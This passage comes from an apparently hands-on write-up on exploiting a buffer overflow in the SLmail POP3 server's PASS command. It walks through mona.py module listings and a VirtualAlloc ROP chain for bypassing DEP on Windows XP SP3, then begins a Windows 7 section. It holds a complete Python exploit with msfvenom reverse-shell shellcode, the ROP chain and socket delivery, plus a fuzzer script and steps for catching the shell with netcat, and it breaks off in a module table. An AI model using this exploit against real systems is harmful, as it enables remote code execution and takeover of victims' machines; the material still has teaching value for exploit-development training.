      0x7c90277a,  # POP EDI # RETN [ntdll.dll] 
      0x7c902582,  # RETN (ROP NOP) [ntdll.dll]
      0x7c970d32,  # POP EAX # POP EBP # RETN [ntdll.dll] 
      0x90909090,  # nop
      0x41414141,  # Filler (compensate)
      0x7c94d22b,  # PUSHAD # RETN [ntdll.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  rop_chain = create_rop_chain()

As you can see by the highlights above, that this ROP chain is not going to work in our exploit because there are some gadgets missing and because I didn’t parse out the bad characters. By default mona.py excludes the OS DLLs when looking for gadgets to make exploits more reliable, but if no valid gadgets are found I can force mona.py to include them with the -m option.

To generate a ROP chain using 1 or more specific DLLs, use the following command.
!mona rop -m <library.dll>
To find a suitable DLL to use, I need to find what modules are loaded with this application by issuing the following command.
!mona modules
This command prints out all the currently loaded modules with this application, and their security attributes as seen below.

0BADF00D   [+] Command used:
0BADF00D   !mona modules

           ---------- Mona command started on 2019-11-20 15:46:20 (v2.0, rev 596) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Module info :
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    0x76080000 | 0x760e5000 | 0x00065000 | False  | True    | False |  False   | True   | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll)
0BADF00D    0x00340000 | 0x0036a000 | 0x0002a000 | True   | False   | False |  False   | False  | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll)
0BADF00D    0x00e90000 | 0x01155000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll)
0BADF00D    0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
0BADF00D    0x77c10000 | 0x77c68000 | 0x00058000 | False  | True    | False |  False   | True   | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll)
0BADF00D    0x7c900000 | 0x7c9af000 | 0x000af000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
0BADF00D    0x10000000 | 0x10007000 | 0x00007000 | False  | False   | False |  False   | True   | 4.3.0.2 [Openc32.dll] (C:\WINDOWS\system32\Openc32.dll)
0BADF00D    0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll)
0BADF00D    0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe)
0BADF00D    0x76fc0000 | 0x76fc6000 | 0x00006000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll)
0BADF00D    0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
0BADF00D    0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
0BADF00D    0x774e0000 | 0x7761d000 | 0x0013d000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
0BADF00D    0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
0BADF00D    0x662b0000 | 0x66308000 | 0x00058000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll)
0BADF00D    0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
0BADF00D    0x763b0000 | 0x763f9000 | 0x00049000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll)
0BADF00D    0x76c90000 | 0x76cb8000 | 0x00028000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [IMAGEHLP.dll] (C:\WINDOWS\system32\IMAGEHLP.dll)
0BADF00D    0x77120000 | 0x771ab000 | 0x0008b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll)
0BADF00D    0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll)
0BADF00D    0x77e70000 | 0x77f02000 | 0x00092000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll)
0BADF00D    0x76f20000 | 0x76f47000 | 0x00027000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll)
0BADF00D    0x76fd0000 | 0x7704f000 | 0x0007f000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL)
0BADF00D    0x76fb0000 | 0x76fb8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll)
0BADF00D    0x77050000 | 0x77115000 | 0x000c5000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll)
0BADF00D    0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll)
0BADF00D    0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:\WINDOWS\system32\SLMFC.DLL)
0BADF00D    0x5d090000 | 0x5d12a000 | 0x0009a000 | False  | True    | False |  False   | True   | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll)
0BADF00D    0x00330000 | 0x00339000 | 0x00009000 | True   | False   | False |  False   | True   | 1.1 [ExcptHnd.dll] (C:\WINDOWS\system32\ExcptHnd.dll)
0BADF00D    0x77f10000 | 0x77f59000 | 0x00049000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll)
0BADF00D    0x77c00000 | 0x77c08000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll)
0BADF00D    0x77dd0000 | 0x77e6b000 | 0x0009b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll)
0BADF00D    0x00370000 | 0x0038f000 | 0x0001f000 | True   | False   | False |  False   | True   | 1.1 [Antares.dll] (C:\WINDOWS\system32\Antares.dll)
0BADF00D    0x71ab0000 | 0x71ac7000 | 0x00017000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll)
0BADF00D    0x71a50000 | 0x71a8f000 | 0x0003f000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\system32\mswsock.dll)
0BADF00D    0x769c0000 | 0x76a74000 | 0x000b4000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [userenv.dll] (C:\WINDOWS\system32\userenv.dll)
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------

After checking all the currently loaded modules, I decided to use msvcrt.dll to generate my ROP chain.  You can generate the code by using the following command, and I can’t forget the bad characters.
!mona rop -m msvcrt.dll -cpb '\x00\x0a\x0d'
The above command should generate a rop_chain.txt file which should contain a VirtualAlloc ROP chain for us as seen below.

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x77c3152d,  # POP EBP # RETN [msvcrt.dll] 
    0x77c3152d,  # skip 4 bytes [msvcrt.dll]
    0x77c35515,  # POP EBX # RETN [msvcrt.dll] 
    0xffffffff,  #  
    0x77c127e1,  # INC EBX # RETN [msvcrt.dll] 
    0x77c127e5,  # INC EBX # RETN [msvcrt.dll] 
    0x77c52217,  # POP EAX # RETN [msvcrt.dll] 
    0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
    0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 
    0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll] 
    0x77c4e0da,  # POP EAX # RETN [msvcrt.dll] 
    0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
    0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 
    0x77c13ffd,  # XCHG EAX,ECX # RETN [msvcrt.dll] 
    0x77c47b17,  # POP EDI # RETN [msvcrt.dll] 
    0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
    0x77c4c1d1,  # POP ESI # RETN [msvcrt.dll] 
    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
    0x77c4e0da,  # POP EAX # RETN [msvcrt.dll] 
    0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll] 
    0x77c354b4,  # ptr to 'push esp # ret ' [msvcrt.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

As can be seen, there are no missing pointers causing errors, and the opcodes do not contain bad characters.

This ROP chain to VirtualAlloc is going to make the stack executable, so we could execute our shellcode like when DEP was in OptIn mode (OptIn is only enabled for essential Windows programs and processes).

We add the chain just before the first instruction we need to execute on the stack.

Before the new exploit is finished, we must change the instruction we put in EIP for a RET instruction that loads in EIP the next pointer in the stack. Remember we use a JMP ESP instruction, but now we can’t execute code in the stack, so when the jump lands in the stack, the data there are not opcodes, so it is not going to work. We can look in rop.txt for gadgets to use as seen below.

0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}

The gadget above extracts the first value in the stack to ECX and then makes a RET that loads the following value onto the stack on EIP. That means that we need to put four bytes between the EIP and the ROP chain to avoid the first gadget of the chain being removed.

Before I can write an exploit to bypass DEP, I need to re-examine the payload string since I am sending more data like the ROP chain.  Currently, the payload is 351 bytes and the ROP chain is 88 bytes, so that is 439 bytes.  I only have room for 430 bytes within ESP, so I need to move ESP back into more continuous memory that is now executable thanks to VirtualAlloc, before I run the shellcode.

Stack configuration

In order to move ESP, I will need to generate the opcodes  from assembly instructions to inject into the string after the ROP chain.  Since I was already using Metasploit, I can use the tool metasm_shell.rb to assist me in the opcode generation as seen below.

Metasm

As we can see, if we generate the opcodes of “sub esp,240h” the opcodes generated contain bad characters (0x00). We solve this by adding to ESP a negative number: “add esp,-240h”. The “h” in the operation indicates that we are adding 240 in hex, not in decimal. The number 240 in hex, is 576 in decimal.

Then we add the opcodes to the start of the shellcode and insert it in our exploit as seen below.

#!/usr/bin/env python3

# SLMail POP3 Server Exploit
# Target: Windows XP SP3 - DEP Bypass
# Author: d3d at Malicious.Group

import socket
import struct
import sys

# Set character encoding
encoding = "latin-1"

# Shellcode generated by msfvenom (shell_reverse_tcp)
buf = b""
buf += b"\xba\xaf\xcf\xc8\xa0\xd9\xe9\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x52\x31\x57\x12\x03\x57\x12\x83\x68\xcb\x2a"
buf += b"\x55\x8a\x3c\x28\x96\x72\xbd\x4d\x1e\x97\x8c\x4d\x44"
buf += b"\xdc\xbf\x7d\x0e\xb0\x33\xf5\x42\x20\xc7\x7b\x4b\x47"
buf += b"\x60\x31\xad\x66\x71\x6a\x8d\xe9\xf1\x71\xc2\xc9\xc8"
buf += b"\xb9\x17\x08\x0c\xa7\xda\x58\xc5\xa3\x49\x4c\x62\xf9"
buf += b"\x51\xe7\x38\xef\xd1\x14\x88\x0e\xf3\x8b\x82\x48\xd3"
buf += b"\x2a\x46\xe1\x5a\x34\x8b\xcc\x15\xcf\x7f\xba\xa7\x19"
buf += b"\x4e\x43\x0b\x64\x7e\xb6\x55\xa1\xb9\x29\x20\xdb\xb9"
buf += b"\xd4\x33\x18\xc3\x02\xb1\xba\x63\xc0\x61\x66\x95\x05"
buf += b"\xf7\xed\x99\xe2\x73\xa9\xbd\xf5\x50\xc2\xba\x7e\x57"
buf += b"\x04\x4b\xc4\x7c\x80\x17\x9e\x1d\x91\xfd\x71\x21\xc1"
buf += b"\x5d\x2d\x87\x8a\x70\x3a\xba\xd1\x1c\x8f\xf7\xe9\xdc"
buf += b"\x87\x80\x9a\xee\x08\x3b\x34\x43\xc0\xe5\xc3\xa4\xfb"
buf += b"\x52\x5b\x5b\x04\xa3\x72\x98\x50\xf3\xec\x09\xd9\x98"
buf += b"\xec\xb6\x0c\x0e\xbc\x18\xff\xef\x6c\xd9\xaf\x87\x66"
buf += b"\xd6\x90\xb8\x89\x3c\xb9\x53\x70\xd7\x06\x0b\x72\xbb"
buf += b"\xef\x4e\x82\xc2\x54\xc7\x64\xae\xba\x8e\x3f\x47\x22"
buf += b"\x8b\xcb\xf6\xab\x01\xb6\x39\x27\xa6\x47\xf7\xc0\xc3"
buf += b"\x5b\x60\x21\x9e\x01\x27\x3e\x34\x2d\xab\xad\xd3\xad"
buf += b"\xa2\xcd\x4b\xfa\xe3\x20\x82\x6e\x1e\x1a\x3c\x8c\xe3"
buf += b"\xfa\x07\x14\x38\x3f\x89\x95\xcd\x7b\xad\x85\x0b\x83"
buf += b"\xe9\xf1\xc3\xd2\xa7\xaf\xa5\x8c\x09\x19\x7c\x62\xc0"
buf += b"\xcd\xf9\x48\xd3\x8b\x05\x85\xa5\x73\xb7\x70\xf0\x8c"
buf += b"\x78\x15\xf4\xf5\x64\x85\xfb\x2c\x2d\xb5\xb1\x6c\x04"
buf += b"\x5e\x1c\xe5\x14\x03\x9f\xd0\x5b\x3a\x1c\xd0\x23\xb9"
buf += b"\x3c\x91\x26\x85\xfa\x4a\x5b\x96\x6e\x6c\xc8\x97\xba"

# Binary Information generated by mona.py
bin_data = dict()
bin_data['eip_offset'] = 4654                               # EIP contains normal pattern (offset 4654)
bin_data['stage_1_size'] = 420                              # ESP points to offset at 4658 (length 430)
bin_data['pattern_size'] = 6000                             # Cyclic pattern found (length 6000 bytes)
bin_data['pop_ecx_ret'] = struct.pack('<L', 0x77c46027)     # POP ECX # RETN ** [msvcrt.dll]
bin_data['add_esp_-240h'] = b"\x81\xc4\xc0\xfd\xff\xff"     # ADD ESP, -240h | generated with metasm_shell.rb


def create_rop_chain():
    rop_gadgets = [
        0x77c3152d,  # POP EBP # RETN [msvcrt.dll]
        0x77c3152d,  # skip 4 bytes [msvcrt.dll]
        0x77c35515,  # POP EBX # RETN [msvcrt.dll]
        0xffffffff,  #
        0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
        0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
        0x77c52217,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c13ffd,  # XCHG EAX,ECX # RETN [msvcrt.dll]
        0x77c47b17,  # POP EDI # RETN [msvcrt.dll]
        0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
        0x77c4c1d1,  # POP ESI # RETN [msvcrt.dll]
        0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
        0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
        0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
        0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
        0x77c354b4,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ]
    return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


def build_payload(data: dict, shell_code: bytes):
    """ Build a Malicious payload for our target service """
    buffer = b""
    buffer += b'A' * data['eip_offset']
    buffer += data['pop_ecx_ret']
    buffer += b"\xff\xff\xff\xff"
    buffer += create_rop_chain()
    buffer += data['add_esp_-240h']
    buffer += shell_code
    #buffer += b'B' * (data['pattern_size'] - len(buffer))
    return buffer


def exploit(host: str, port: int, payload: bytes):
    """ Exploit the target service, redirect to shellcode """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.recv(1024).decode()        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        s.recv(1024).decode()        # +OK d3d welcome here
        s.send(b"PASS " + payload + b"\r\n")
        s.recv(1024).decode()        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit("[?] Usage: %s <ip address> <port>" % sys.argv[0])
    _host = str(sys.argv[1])
    _port = int(sys.argv[2])
    _payload = build_payload(bin_data, buf)
    exploit(_host, _port, _payload)

Before running the exploit above, I need to set up a netcat listener on port 443 to catch the reverse shell if the exploit is successful. Once the listener is running, its time to test the exploit.

python3 exploit.py 192.168.8.157 110

BINGO!  The exploit worked, and spawned a Windows CMD shell pipe to our netcat listener as seen below.

Windows XP SP3 Shell

Windows 7 Pro without DEP

With the Windows XP SP3 exploitation out of the way, I am going to take a look at a Windows 7 Pro version now.  Since I already have a cyclic pattern that was generated previously by mona.py, I will go back to my fuzzer script to crash the service again to see if the offsets have changed with a different version of Windows.

#!/usr/bin/env python3

import socket
import sys


encoding = "latin-1"

with open('pattern.txt', 'r') as file:
    payload = file.read().replace("\n", "")


def fuzz_service(host: str, port: int):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        data = s.recv(1024).decode(encoding)        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        data = s.recv(1024).decode(encoding)        # +OK d3d welcome here
        s.send(f"PASS {payload}\r\n".encode(encoding))
        data = s.recv(1024).decode(encoding)        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
python3 fuzzer.py 192.168.8.163 110

The above script did in fact make the program crash as expected, and I am going to use mona.py to get information about the pattern offsets like I did for the earlier example.
!mona findmsp

[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x019c00db (length 6000 bytes)
    EIP contains normal pattern : 0x7a46317a (offset 4654)
    ESP (0x0219a128) points at offset 4658 in normal pattern (length 430)
    EBP contains normal pattern : 0x46307a46 (offset 4650)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x02198000 to 0x0219fffc (0x00007ffc bytes)
    0x02198fb8 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996
    0x02199ef4 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994
    0x0219aae8 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996
    0x0219cef0 : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x02198000 to 0x0219fffc (0x00007ffc bytes)
    0x02198f68 : Pointer into normal cyclic pattern at ESP-0x11c0 (-4544) : offset 4646, length 442
    0x02199cf8 : Pointer into normal cyclic pattern at ESP-0x430 (-1072) : offset 4330, length 758
    0x02199da4 : Pointer into normal cyclic pattern at ESP-0x384 (-900) : offset 4445, length 643
    0x02199db4 : Pointer into normal cyclic pattern at ESP-0x374 (-884) : offset 4330, length 758
    0x02199db8 : Pointer into normal cyclic pattern at ESP-0x370 (-880) : offset 4410, length 678
    0x02199dc8 : Pointer into normal cyclic pattern at ESP-0x360 (-864) : offset 4330, length 758
    0x0219f34c : Pointer into normal cyclic pattern at ESP+0x5224 (+21028) : offset 4092, length 996
    0x0219f4ac : Pointer into normal cyclic pattern at ESP+0x5384 (+21380) : offset 4444, length 644
    0x0219f55c : Pointer into normal cyclic pattern at ESP+0x5434 (+21556) : offset 4662, length 426
    0x0219f5a8 : Pointer into normal cyclic pattern at ESP+0x5480 (+21632) : offset 4091, length 1909
    0x0219f6d8 : Pointer into normal cyclic pattern at ESP+0x55b0 (+21936) : offset 5042, length 46
    0x0219f730 : Pointer into normal cyclic pattern at ESP+0x5608 (+22024) : offset 4091, length 1909

As you can see from the output above, the offsets are the same to the Windows XP SP3 version.  This means I should be able to slightly modify the Windows XP SP3 version to exploit the Windows 7 Pro machine without using DEP protection.

Since the module base memory addresses are different on Windows 7, I will need to find another JMP ESP instruction to use like I did in the last exploit.  This can be done using mona.py to find a JMP ESP instruction from a module that does not have Rebase or ASLR enabled.  We can check the current modules by using the following command.
!mona modules
As you can see below, most of the modules have ASLR enabled which will randomize the memory locations making it harder to write an exploit.  Because of this, I will go after a module or modules that were not compiled with ASLR protection.  i.e. like ARM.dll or Openc32.dll

-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
 0x70f30000 | 0x70f96000 | 0x00066000 | True   | True    | True  |  True    | True   | 7.0.7600.16385 [MSVCP60.dll] (C:\Windows\system32\MSVCP60.dll)
 0x001c0000 | 0x001ea000 | 0x0002a000 | True   | False   | False |  False   | False  | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll)
 0x73750000 | 0x73760000 | 0x00010000 | True   | True    | True  |  True    | True   | 6.1.7601.17964 [NLAapi.dll] (C:\Windows\system32\NLAapi.dll)
 0x74f50000 | 0x74f94000 | 0x00044000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [DNSAPI.dll] (C:\Windows\system32\DNSAPI.dll)
 0x77820000 | 0x778f5000 | 0x000d5000 | True   | True    | True  |  True    | True   | 6.1.7601.18015 [kernel32.dll] (C:\Windows\system32\kernel32.dll)
 0x760e0000 | 0x7618c000 | 0x000ac000 | True   | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll)
 0x755c0000 | 0x755cc000 | 0x0000c000 | True   | True    | True  |  True    | True   | 6.1.7601.24214 [CRYPTBASE.dll] (C:\Windows\system32\CRYPTBASE.dll)
 0x77900000 | 0x77a42000 | 0x00142000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
 0x10000000 | 0x10007000 | 0x00007000 | False  | False   | False |  False   | True   | 4.3.0.2 [Openc32.dll] (C:\Windows\system32\Openc32.dll)
 0x6f910000 | 0x6f922000 | 0x00012000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [pnrpnsp.dll] (C:\Windows\system32\pnrpnsp.dll)
 0x77240000 | 0x77259000 | 0x00019000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SYSTEM32\sechost.dll)
 0x74940000 | 0x74945000 | 0x00005000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [wshtcpip.dll] (C:\Windows\System32\wshtcpip.dll)
 0x77470000 | 0x7747a000 | 0x0000a000 | True   | True    | True  |  True    | True   | 6.1.7601.24205 [LPK.dll] (C:\Windows\system32\LPK.dll)
 0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe)
 0x77130000 | 0x771cd000 | 0x0009d000 | True   | True    | True  |  True    | True   | 1.0626.7601.23894 [USP10.dll] (C:\Windows\system32\USP10.dll)
 0x6f8f0000 | 0x6f8f6000 | 0x00006000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [rasadhlp.dll] (C:\Windows\system32\rasadhlp.dll)
 0x720b0000 | 0x720e8000 | 0x00038000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [fwpuclnt.dll] (C:\Windows\System32\fwpuclnt.dll)
 0x721d0000 | 0x721d7000 | 0x00007000 | True   | True    | True  |  True    | True   | 6.1.7601.23889 [WINNSI.DLL] (C:\Windows\system32\WINNSI.DLL)
 0x74e60000 | 0x74e9b000 | 0x0003b000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [rsaenh.dll] (C:\Windows\system32\rsaenh.dll)
 0x76230000 | 0x7638d000 | 0x0015d000 | True   | True    | True  |  True    | True   | 6.1.7601.24168 [ole32.dll] (C:\Windows\system32\ole32.dll)
 0x770d0000 | 0x77127000 | 0x00057000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [SHLWAPI.dll] (C:\Windows\system32\SHLWAPI.dll)
 0x750d0000 | 0x750e7000 | 0x00017000 | True   | True    | True  |  True    | True   | 6.1.7601.23471 [CRYPTSP.dll] (C:\Windows\system32\CRYPTSP.dll)
 0x77310000 | 0x773d9000 | 0x000c9000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\system32\USER32.dll)
 0x77290000 | 0x7730b000 | 0x0007b000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [comdlg32.dll] (C:\Windows\system32\comdlg32.dll)
 0x77260000 | 0x7728b000 | 0x0002b000 | True   | True    | True  |  True    | True   | 6.1.7601.18288 [IMAGEHLP.dll] (C:\Windows\system32\IMAGEHLP.dll)
 0x721e0000 | 0x721fc000 | 0x0001c000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [IPHLPAPI.DLL] (C:\Windows\system32\IPHLPAPI.DLL)
 0x6f8c0000 | 0x6f8d0000 | 0x00010000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [napinsp.dll] (C:\Windows\system32\napinsp.dll)
 0x76190000 | 0x76221000 | 0x00091000 | True   | True    | True  |  True    | True   | 6.1.7601.24117 [OLEAUT32.dll] (C:\Windows\system32\OLEAUT32.dll)
 0x756d0000 | 0x756db000 | 0x0000b000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [profapi.dll] (C:\Windows\system32\profapi.dll)
 0x76480000 | 0x770cc000 | 0x00c4c000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [SHELL32.dll] (C:\Windows\system32\SHELL32.dll)
 0x76030000 | 0x760d2000 | 0x000a2000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [RPCRT4.dll] (C:\Windows\system32\RPCRT4.dll)
 0x773e0000 | 0x77463000 | 0x00083000 | True   | True    | True  |  True    | True   | 2001.12.8530.16385 [CLBCatQ.DLL] (C:\Windows\system32\CLBCatQ.DLL)
 0x77aa0000 | 0x77abf000 | 0x0001f000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\system32\IMM32.DLL)
 0x6f900000 | 0x6f908000 | 0x00008000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [winrnr.dll] (C:\Windows\System32\winrnr.dll)
 0x763a0000 | 0x763a6000 | 0x00006000 | True   | True    | True  |  True    | True   | 6.1.7601.23889 [NSI.dll] (C:\Windows\system32\NSI.dll)
 0x763b0000 | 0x7647d000 | 0x000cd000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [MSCTF.dll] (C:\Windows\system32\MSCTF.dll)
 0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:\Windows\system32\SLMFC.DLL)
 0x72010000 | 0x72094000 | 0x00084000 | True   | True    | True  |  True    | True   | 5.82 [COMCTL32.dll] (C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\COMCTL32.dll)
 0x00020000 | 0x00029000 | 0x00009000 | True   | False   | False |  False   | True   | 1.1 [ExcptHnd.dll] (C:\Windows\system32\ExcptHnd.dll)
 0x75630000 | 0x7563e000 | 0x0000e000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [RpcRtRemote.dll] (C:\Windows\system32\RpcRtRemote.dll)
 0x77ac0000 | 0x77b0e000 | 0x0004e000 | True   | True    | True  |  True    | True   | 6.1.7601.23914 [GDI32.dll] (C:\Windows\system32\GDI32.dll)
 0x75880000 | 0x758cb000 | 0x0004b000 | True   | True    | True  |  True    | True   | 6.1.7601.18015 [KERNELBASE.dll] (C:\Windows\system32\KERNELBASE.dll)
 0x748b0000 | 0x748b9000 | 0x00009000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\system32\VERSION.dll)
